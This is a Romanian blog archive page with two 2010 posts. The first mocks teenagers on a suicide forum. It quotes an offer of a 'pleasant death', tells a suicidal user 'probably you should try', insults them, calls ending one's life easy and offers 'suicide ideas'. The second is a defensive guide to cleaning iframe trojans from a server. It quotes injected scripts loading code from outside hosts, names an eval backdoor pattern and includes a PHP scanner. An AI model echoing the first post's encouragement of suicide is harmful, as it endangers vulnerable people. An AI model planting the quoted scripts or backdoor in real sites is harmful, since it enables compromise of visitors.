Inchide arhiva

 

» RSS

Comentarii, Articole, Citate

» Un citat, la intamplare

Samuel Johnson: I hate mankind, for I think myself one of the best of them, and I know how bad I am
Click aici ca sa le vezi pe toate

» Categorii

Web, Personal, Romania

» Rasfoieste baza de date

home, ultimele articole
sau arhiva lunara

» 5 articole la intamplare

» Ultimele 7 comentarii

» Numeric vorbind...

Am adunat 200 articole,
349 comentarii si 267 citate

» Link-uri si iar link-uri

Voi imi aratati calitatile voastre iar eu observ cat sunteti de defecti.

Vreau sa mor dar n-am pistol

Postat la 11 Jul 2010. 3 comentarii. Hai, spune si tu ceva!

Frate, sunt unii... te dor urechile cand simti cat de tare bubuie.

Am dat din intamplare peste un thread cu sugestii despre sinucidere unde o tipa vrea sugestii. Ea scrie asa:
- vreauu sa mor... chiar imi doresc asta!! vreau sa ma transform in cineva sau ceva care si sa nu fiu recunoscuta! vreau sa mor!!!

Bine, eu n-am inteles exact care sunt doleantele ei, daca vrea sa moara sau sa se transforme, dar mi se pare tare faptul ca are o multime de admiratori care, culmea, isi doresc acelasi lucru si, cel mai tare si mai tare e ca in toata afacerea asta exista concurenta. Citat din discutie, sa va distrati si voi:
- vreauu sa mor... chiar imi doresc asta... [ana]
- te rog scrie-mi la geo****@yahoo.com, nu face un gest de care sa iti para rau. [george]
- musat****@yahoo.com Stiu cum se poate face o moarte placuta!!!! [Nikolai]

Si, altu' care vrea:
eu tot vreau. invidiez pe cei ce au inca o zi :( urasc soarele. urasc viata. ma urasc pe mine. probabil o sa mor.
Probabil ar trebui sa incerci.

Acum, sa revenim la lucruri serioase: daca pe unul dintre retarzii astia i-al lovi o masina si ar simti ca au un picior rupt si ca durerea le taie respiratia, ar reveni cu picioarele pe pamant si "ar fugi la mama" cu lacrimi in ochi. Chiar si inainte sa mori, e demonstrat ca durerea este transmisa catre creier, deci singura moarte fara durere este aceea in care mori in somn; deci nu te poti sinucide.

Eu inteleg ca viata nu e o optiune dar nu inteleg de ce te trezesti la 14-17 ani ca vrei sa mori? E ca si cum ai gusta dintr-o mancare si dupa ce termini un sfert din ea, zici ca nu-ti place. De ce n-ai manca pana la capat, daca tot crezi in schimbari?

Fericirea nu este ceva care vine pur si simplu si, nu este nici macar ceva ce poate fi definit. Unii inteleg fericirea prin bani multi, altii o inteleg prin iubire si relatii, altii prin putere, altii prin arta si sunt sute de exemple. Partea cea ma frumoasa este ca tu (ca om) esti singurul care te poti face fericit, culegand din viata intamplarile bune si observand ceea ce-ti place. Daca vrei sa vezi in viata doar lucrurile rele asta nu inseamna ca nu poti fi fericit... inseamna ca esti doar un fericit prost.

Viata este un dar, pe care fiecare il poate pretui si de care se poate bucura sau pe care il poate refuza (chiar si la 14-17 ani), Oricum ar fi, sa-ti pui capat zilelor, nu e greu. Sa zici ca ti-e frica sa te sinucizi, e stupid. Sa incerci sa te sinucizi si sa nu-ti iasa... esti bou?! Sa-ti traiesti viata cu bune si cu rele, e chiar frumos.

Bine, eu am o multime de idei, puteti sa ma contactati si pentru idei de sinucidere si pentru idei de trait viata din plin. Partea proasta este ca nu stiu daca ideile pentru cea de-a doua parte vor avea succes total.

Tags: idei, sinucidere, oameni, prostie

Cum scapam de caii Trojan de pe server

Postat la 04 Jul 2010. 6 comentarii. Hai, spune si tu ceva!

Well... trebuie sa incep articolul destul de pesimist: e foarte greu.
Pe un PC e mai usor pentru ca acolo are acces deplin antivirusul, dar pe server e mai greu pentru ca trebuie sa faci tu toata treaba (mai ales daca site-ul e mare).

1. Ce sunt troienii despre care vorbesc si, cum se manifesta?
Numele ar putea fi ceva de genul Trojan-Clicker.HTML.IFrame sau Trojan.Downloader sau altfel [sunt mai multe tipuri din pacate si sunt mai multe denumiri sub care ii vad antivirusii].
Actiunea lor este urmatoarea: se conecteaza la FTP (detecteaza actiunile Filezila si a altor clienti FTP) si scriu in fisierele de tip php, html, htm, js un cod care include un iframe sau un fisier javascript.

Exemplu din index.php
<script type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Raw_File.js"></script>
Exemplu din fisier javascript
document.write('<s'+'cript type="text/javascript" src="http://stupidserver.com/f.js"></scr'+'ipt>');

2. Cum te infectezi si cum te protejezi?
- Te poti infecta doar daca deschizi o pagina web care este infectata (care contine iframe sau fisier JS de tipul de mai sus) si, partea proasta e ca sunt putini antivirusi care te protejeaza.
- Te poti proteja instaland un antivirus bun. Experienta mea placuta a fost cu Karspersky (nu fac reclama, e pe bune) deci e o metoda buna de protectie si (imi doresc sa-l cumpar - mi-a dezinfectat fisiere si m-a si protejat in timpul accesarii). Am avut si antivirusi care nu au detectat nimic, dar nu vreau sa fac anti-reclama.

3. Cum scapam de ei pe server?
- In primul rand, se schimba parola de FTP (valabil pentru orice developer) si, nu te conectezi la FTP pana ce nu esti sigur ca esti "curat"
- Esti sigur ca esti curat dupa ce ti-ai scanat computerul cu Karspersky (eu am avut Pure si a fost perfect - se poate lua trial-version gratuit, pentru 30 de zile DAR trebuie dezinstalat orice antivirus existent pentru ca nu e indicat sa ai doi antivirusi pe acelasi sistem) sau alt antivirus bun si actualizat (daca doriti, ma puteti contacta, sa va zic antivirusii "prosti" - vectorialpx.net, formularul de jos).
- folosesti un instrument care gaseste codul cu probleme si stergi toate problemele modificand fisierele (exista TEXTCRAWLER - care este FREE).

Acum, acest ultim pas este ceva mai complex. Eu am facut un fisier PHP (cach.php) care trebuie pus pe server, pentru ca mi-a fost mai usor. El cauta prin fisierele si dosarele site-ului (de la nivelul la care este pus in sus) in fisierele PHP, HTML si JS si, poate face inlocuirea codului cu probleme. Il puteti vedea mai jos cum arata (sunt doua functii, dintre care una e recursiva, nu mare lucru).

4. Ce cautam si cum?
- Primul lucru cautat este eval(base64_decode . Este ceea ce ofera poarta de acces remote. Daca nu stergeti codurile de acest gen, nu ati facut nimic. Sub acel base64_decode se afla de obicei ceva de genul eval($_POST['ceva']) ceea ce ofera puterea suprema pentru PHP - de unde concluzia stupida: hacker-ii nu-s prosti! :)
Atentie! unele teme de Wordpress au in footer un cod care contine eval(base64_decode dar este pentru copyright (nu trebuie sters). Trebuie sters orice cod suspect, nu chiar orice cod (e indicat sa fiti programatori cu ceva experienta, pentru a nu sterge aiurea). Daca aveti dubii si aveti soft-uri web (cum ar fi phpBB, drupal etc etc) mai bine cautati pe Google sau in documentatie. Oricum, scriptul face si un backup al fisierului infectat, deci nu pierdeti informatia respectiva dar va fi greu sa redenumiti fiecare fisier si s-o luati de la capat.

5. Ce fisiere sunt infectate?
de obicei index.php si cam tot ce are 'index', 'main', 'config' apoi, cam toate fisierele javascript care sunt incluse in prima pagina - dar nu numai.

6. Cum facem inlocuirea?
- avem nevoie de un alt fiser PHP (get23123.php - un nume care nu poate fi intuit usor) care ne afiseaza contentul unui anumit fisier (plain text) de pe server. De ce? Pentru ca nu vom putea lua fisierele de pe server ca sa le vedem local, fiind blocat de antivirus. Atentie, dupa ce ati terminat toata treaba stergeti fisierul get23123.php pentru ca este o mare bresa de securitate.

<?php // get23123.php e simplu si arata cam asa
$c = file_get_contents('index.php');
echo htmlspecialchars($c, ENT_QUOTES);
// afiseaza contentul lui index.php (cu tot cu cod PHP)

Deci va trebui sa urcati pe server un astfel de fisier, pentru a vedea care este codul clar din anumite fisiere.

De exemplu, accesam get23123.php si vedem ca in fisierul file.js este codul
document.write('<s'+'cript type="text/javascript" src="http://iopap.upperdarby26.com/Hardware.js"></scr'+'ipt>');
incepem sa cautam dupa el (codul) si sa facem replace, accesand cach.php in care stabilim inlocuirea codului de mai sus.

Fisierul cach.php este asa:

<?php
set_time_limit(0);
error_reporting(E_ALL);

define('MAKETHEREPLACE', 0); // se face replace sau nu
define('STRING2REPLACE', 'eval(base64_decode'); // ce cauta
// aceasta constanta se defineste de fiecare data
// se poate face si un array si apoi un foreach in functie
// cu mai multe string-uri, dar e nevoie de mai multa atentie

define('DS', DIRECTORY_SEPARATOR);
$f = dirname(__FILE__).DS;

function h($w) { $w = stripslashes($w); // htmlspecialchars
return trim(htmlspecialchars($w, ENT_QUOTES)); }

function getDir($folder) {
    if ($handle = opendir($folder)) {
        while (false !== ($file = readdir($handle))) {
            if(is_dir($folder.$file) && $file != '..' && $file != '.' ) {
                getDir($folder.$file.DS);
            } else {
                $ext = end(explode('.', $file));
                if($file != 'cach.php')
                    if($ext == 'js' || $ext == 'php' )
                        writeFile($folder, $file);
            }
        }
        closedir($handle);
    }
}

getDir($f); // aici se face apelarea

function writeFile($dir, $f) {
    if(filesize($dir.$f) < 1024*500) { // nu cautam in fisiere mai mari de 500K
        // $handle = fopen($dir.$f, 'r');
        // $c = fread($handle, filesize($dir.$f)+1);
        // fclose($handle);
        // este recomandat file_get_contents
        // pentru ca este mai rapid
        $c = file_get_contents($dir.$f);
        // extensie
        $ext = end(explode('.', $f));
        $este = strpos($c, STRING2REPLACE);
        // daca exista codul in fisier
        if($este !== false) {
            if(MAKETHEREPLACE) {
                copy($dir.$f, $dir.'infect_'.$f.'.unkn');
                $fp = fopen($dir.$f, 'w');
                if(fwrite($fp, trim(str_replace(STRING2REPLACE, '', $c))))
                    echo 'am scris <b style="color:#c00">'.$dir.$f.'</b><br /><br />';
                fclose($fp);
            } else {
                echo 'trebuie scris - <b style="color:#c00">'.$dir.$f.'</b><br />
                Contine: <br /><textarea name="some" cols="200" rows="9"
                style="font:12px Verdana,Arial">'.h($c).'</textarea><br /> <br />';
            }
        }
    } else {
        echo '<strong style="color:#c00">prea mare</strong> '.$dir.$f.'<br /><br />';
    }
}
// end of file

Am mai citit un articol despre asta - how to remove iframe trojan - dar pare un pic incomplet. Probabil ca si troienii au mai evoluat intre timp.

Sunt dispus sa raspund comentariilor si, daca aveti idei, ar fi bine sa fie publice. Spor la programat!

Edit: Am gasit o descriere la Karspersky pentru Trojan-Clicker
Deci nu, nu e chiar harmless.

Programs classified as Trojan-Clicker are designed to access Internet resources (usually web pages). This is done either by sending appropriate commands to the browser or by replacing system files that provide “standard” addresses for Internet resources (such as the Windows hosts file).
A malicious user may use Trojan-Clicker programs to:
- increase the number of visits to certain sites in order to boost the number of hits for online ads
- conduct a DoS (Denial of Service) attack on a particular server
- lead potential victims to viruses or Trojans.

Tags: trojan, iframe, web